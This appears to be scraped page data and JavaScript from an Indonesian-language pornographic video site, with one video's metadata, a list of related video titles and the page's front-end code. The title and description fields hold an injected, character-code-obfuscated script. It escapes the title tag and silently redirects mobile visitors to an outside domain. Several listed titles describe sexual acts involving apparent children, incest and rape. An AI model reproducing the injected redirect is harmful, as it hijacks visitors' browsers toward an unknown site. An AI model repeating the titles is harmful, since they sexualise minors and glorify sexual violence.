Meng Ruoyu PMS004 Dokter Mesum EP1 Membius Wanita Muda Berpayudara Besar Mengobati Gejala Erangan Nakal","site_id":0,"video_url":"https://2605.v155p.com/20260602/nXiDvRgA/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzllODNjNjg1MmQ1MTljY2Q2N2M0MTA5NDg0YjhkYTguanBn.cache","duration":"25:51","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":694,"description":"Meng Ruoyu PMS004 Dokter Mesum EP1 Membius Wanita Muda Berpayudara Besar untuk Mengatasi Gejala Jeritan Wanita Nakal","tag":["Mengruo","Meng Ruoyu","abnormal","Dokter","pembiusan","payudara besar","Wanita muda berpayudara besar","wanita muda","merawat","pelacur","Melolong"],"site_url":"174166","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["麻豆传媒"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzllODNjNjg1MmQ1MTljY2Q2N2M0MTA5NDg0YjhkYTguanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"孟若羽PMS004变态医师EP1麻醉巨乳少妇治疗骚货浪叫症状","s_keywords":"孟若羽PMS004变态医师EP1麻醉巨乳少妇治疗骚货浪叫症状","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Meng Ruoyu PMS004 Dokter Mesum EP1 Membius Wanita Muda Berpayudara Besar Mengobati Gejala Erangan Nakal","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTMxNmIxNmI1ZjllODM2NzgyZDY3MWRiMTYzMTllYzUuanBn.cache","vod_id":19155840,"title":"Kepuasan pelanggan adalah yang terpenting! Pemesanan sangat sulit. Payudara besar, ejakulasi, estetika pria. Nina Nishimura. Planet Plus.","lastmod":"2026-04-30","duration":"02:01:31","url":"/play/19155840.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjUvZDRmYzMwZTIyOTc4NzcxOGRiYjAwNDE0NGMyNjE4ODguanBn.cache","vod_id":19039612,"title":"Seorang pria dengan penis besar dan hitam memanggil seorang wanita muda yang sudah menikah dan memperkosanya secara brutal.","lastmod":"2025-06-24","duration":"16:29","url":"/play/19039612.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTAvOTU2NjlkMjE5MmMxOTM1NWI4MjYxMDk2NmI3NDljYmMuanBn.cache","vod_id":19032857,"title":"413INSTV-518 [Rekaman Pribadi Wanita Dewasa] Ibu Rumah Tangga Berpayudara Besar Reika, Kehidupan Seksual Pasangan Amatir, Hubungan Seksual Menyimpang, Sangat Dinikmati oleh Sang Istri","lastmod":"2025-05-10","duration":"01:08:41","url":"/play/19032857.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWQyMTc4OWM3MmFhY2VmMDM2YjRkNGU0YTUyYTFkZTAuanBn.cache","vod_id":19005283,"title":"Pelatihan yang sangat sadis dan menyimpang, memalukan.","lastmod":"2025-03-23","duration":"34:18","url":"/play/19005283.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWNjODA0YTU1NzlkOTUyNmE2NGI5ZmE1NDVlMjZiYzcuanBn.cache","vod_id":18936394,"title":"Seorang wanita menikah yang sangat seksi, buket bunga di Malam Natal, dan dia seorang wanita nakal yang pemalu yang suka menunggangi dan berhubungan seks. Dia punya berbagai cara untuk bercinta dengannya, pantatnya yang berbentuk buah persik dirusak, dan dia berteriak dan mencapai klimaks tanpa henti. Versi lengkap definisi tinggi 720P.","lastmod":"2025-12-14","duration":"01:54:33","url":"/play/18936394.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzAxODBjNzNlOTgwNjBlODgxZDUzYWU5Y2VkZWYwYWMuanBn.cache","vod_id":18990032,"title":"DOCP-196 Anak perempuan loli bertubuh seksi dilatih oleh ayah tirinya selama 3 hari saat ibunya pergi.","lastmod":"2025-12-14","duration":"03:37:05","url":"/play/18990032.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYWQ0MzE1MzkzMWM0YTE5MTY5ODllOTE2YmYyOTRjYmEuanBn.cache","vod_id":19140624,"title":"Seorang wanita muda cantik dengan aura hijau, yang bekerja di lampu lalu lintas, sedang menyiarkan langsung pertemuan seksualnya dengan pacarnya dalam berbagai posisi.","lastmod":"2026-01-28","duration":"49:22","url":"/play/19140624.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzc5ZDI4MjljMTMxYzA3YzA2YjM0NmQyZjAzNjE5NWUuanBn.cache","vod_id":19135087,"title":"Hubungan Sekolah Renang dengan Perbedaan Usia - Seorang gadis yang dibesarkan dengan penis dewasa pelatih tanpa henti melahap payudara besar yang tersembunyi di bawah pakaian renangnya. Asano Cocoa FNS-095","lastmod":"2025-12-24","duration":"02:03:32","url":"/play/19135087.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDM5Njg0YzVmMGQ0YzMyMmExOTM4MGExYWYwN2YyMzEuanBn.cache","vod_id":19008642,"title":"NACR241: Seorang mahasiswi seni bertubuh seksi meminta ayahnya untuk menjadi model telanjangnya, dan kemudian sang ayah dengan gembira berejakulasi di dalam dirinya. (Inoue Ai)","lastmod":"2025-03-24","duration":"02:03:43","url":"/play/19008642.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTQxYjc4ZTdhNGY1MDEzZGNmMGM1NDYxNWFjNjRmZmYuanBn.cache","vod_id":19011595,"title":"Kerajaan Cina - MisAV008-02 Meng Ruoyu","lastmod":"2025-03-24","duration":"15:21","url":"/play/19011595.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjdmNGViNDJkMDkxODEyZjM4ZGRiZjhjMmRjNzc1ZWIuanBn.cache","vod_id":19138915,"title":"Payudara tetangga saya yang besar dan rok panjang ketatnya menghancurkan kewarasan saya, jadi saya menyuruh istri saya menunggu saya pulang, lalu menghabiskan tiga hari tiga malam di Ayatsuki Nanao START-404.","lastmod":"2026-01-17","duration":"02:17:17","url":"/play/19138915.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNDdkYTA3Njk4YzIyYzJkNDM4OGIzYTM4Yjk4MzQyMmEuanBn.cache","vod_id":19050812,"title":"2203 Dokter Erotis 02","lastmod":"2025-09-04","duration":"09:35","url":"/play/19050812.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmMwODgxYmZiMDM5NzdkNDczZmRkYmU4M2ZmMGQ2NTguanBn.cache","vod_id":18996450,"title":"[Pertarungan Seks Kelompok] Beberapa wanita dewasa dengan payudara besar, bulat, dan penuh terlibat dalam pertarungan dengan satu pria, bertujuan untuk menguras habis energinya.","lastmod":"2025-12-14","duration":"34:51","url":"/play/18996450.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjdmOWJiNGE2YTRiNmFjMzNiMmU0ZGZjOTkwZmJmZmIuanBn.cache","vod_id":18945678,"title":"Pantat sepupu saya yang montok dan nakal, berbentuk buah persik, ditampar begitu keras hingga terdengar suara tamparan yang nyaring. Dia sedang menunggangi dengan gigi tiga, bergoyang cepat, dan mencapai orgasme, tanpa sadar berteriak, \"Ayah, setubuhi aku!\"","lastmod":"2025-03-22","duration":"00:37:51","url":"/play/18945678.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWNkNjEwYmVhODBmMjUzYmQ4ODgzZGMxNzExODVlZTYuanBn.cache","vod_id":18963752,"title":"\"Koleksi Lengkap Bocoran Tingkat Atas\" - Menunjukkan wajahmu adalah kuncinya! Target toilet daging manusia: pembunuhan 100 orang Twitter berkualitas tinggi payudara besar kontras jalang [Juice Summer] pemotretan pribadi berbagai seks Ziwei (44)","lastmod":"2025-12-14","duration":"00:02:05","url":"/play/18963752.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTM5ZDI0YzRjYWQ1Nzk5ODk2MjkxN2NjM2Q5ZGY0M2YuanBn.cache","vod_id":19018454,"title":"ssni475 adalah seorang wanita jalang berpayudara besar yang baru datang.","lastmod":"2025-03-24","duration":"02:00:12","url":"/play/19018454.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvZDJiZjUwYzkxOTkwMDI3NTVjZWVjMWUxNzhjOTg5YTIuanBn.cache","vod_id":19167835,"title":"Amatir, sesi 1 lawan 1 tertutup, dokumen dirilis. Aktris AV berdada besar H-cup eksklusif DAHLIA disewakan♪ Spesial Ulang Tahun ke-2! DLDSS-395-C","lastmod":"2026-07-11","duration":"01:58:16","url":"/play/19167835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGRhZTJkN2ZkYzg4NTQxNzAyODc4ZmUzN2QxMDAwMzUuanBn.cache","vod_id":18977252,"title":"Gadis junior ini masih sangat muda! Dia memperlihatkan wajahnya dengan stoking, bermain dengan bola meriam, menikmati dorongan dan erangan yang terus menerus. Dia hampir menangis karena disetubuhi, ekspresinya sangat murahan. Pria di sebelahnya mengarahkannya—luar biasa, jangan sampai ketinggalan!","lastmod":"2025-12-14","duration":"01:29:18","url":"/play/18977252.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGQ2MjI2NjQ5NTYwMmQ2NjU1NGRmNmQxODIxOGM2NDguanBn.cache","vod_id":18981666,"title":"Seorang gadis kecil yang cantik dan nakal dengan mata sayu, kemaluannya yang mulus dan pipi putihnya terbuka sepanjang waktu, bermasturbasi dengan vibrator, membiarkan kakak laki-lakinya meniduri mulutnya, menyentuh kemaluannya, dan bermain dengan anusnya, berhubungan seks tanpa peng","lastmod":"2025-12-14","duration":"03:12:04","url":"/play/18981666.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2IwMWZkMTQyMGUxZGQ0ZjEzMTlhODhhN2I0YTkzZDEuanBn.cache","vod_id":18964131,"title":"\"Koleksi Lengkap Bocoran Tingkat Atas\" - Menunjukkan wajahmu adalah kuncinya! Target toilet daging manusia: pembunuhan 100 orang Twitter berkualitas tinggi payudara besar kontras jalang [Juice Summer] pemotretan pribadi berbagai seks Ziwei (84)","lastmod":"2025-03-22","duration":"00:01:24","url":"/play/18964131.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTY0ODAzM2I3MmYwNmVjODc0NGQyYzZhOTA1NzY3MTQuanBn.cache","vod_id":18989262,"title":"300MIUM-432 Terkejut dengan pengalaman seksual seorang istri dengan hasrat seks yang tinggi! Pasangan mesum terangsang oleh perilaku sang istri yang secara misterius melepas pakaian dalamnya dan membuangnya di pinggir jalan saat kencan!","lastmod":"2025-12-14","duration":"01:15:44","url":"/play/18989262.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTEzMjE2YmIyMmQ4ZDdkZDYxZDcwOWE0OGVmNjIyMDAuanBn.cache","vod_id":18933958,"title":"MIDD-748 Guru Wanita Berdada Besar ~Bentuk Tubuh Ekstrem dan Threesome Terbalik yang Seperti Mimpi! ~Kasumi Risa, Shiro An","lastmod":"2025-12-14","duration":"02:27:22","url":"/play/18933958.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjQvYmYxMGViODk4NWU4NzlkZWMwMTc2MDE2NjVkNWIzMTEuanBn.cache","vod_id":19030719,"title":"Gadis kecil berkulit putih dan berpenampilan lembut itu akhirnya mulutnya dipenuhi sperma oleh seorang pria muda.","lastmod":"2025-04-24","duration":"32:27","url":"/play/19030719.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDhhMDJkYWEwOTJjYWRiYmUwZWUwMDczNDcyYTA5YWQuanBn.cache","vod_id":19010534,"title":"Dua saudari bertubuh seksi bermain dengan lilin yang menetes dan menggiling tahu.","lastmod":"2025-03-24","duration":"15:58","url":"/play/19010534.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Meng Ruoyu PMS004 Dokter Mesum EP1 Membius Wanita Muda Berpayudara Besar Mengobati Gejala Erangan Nakal',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}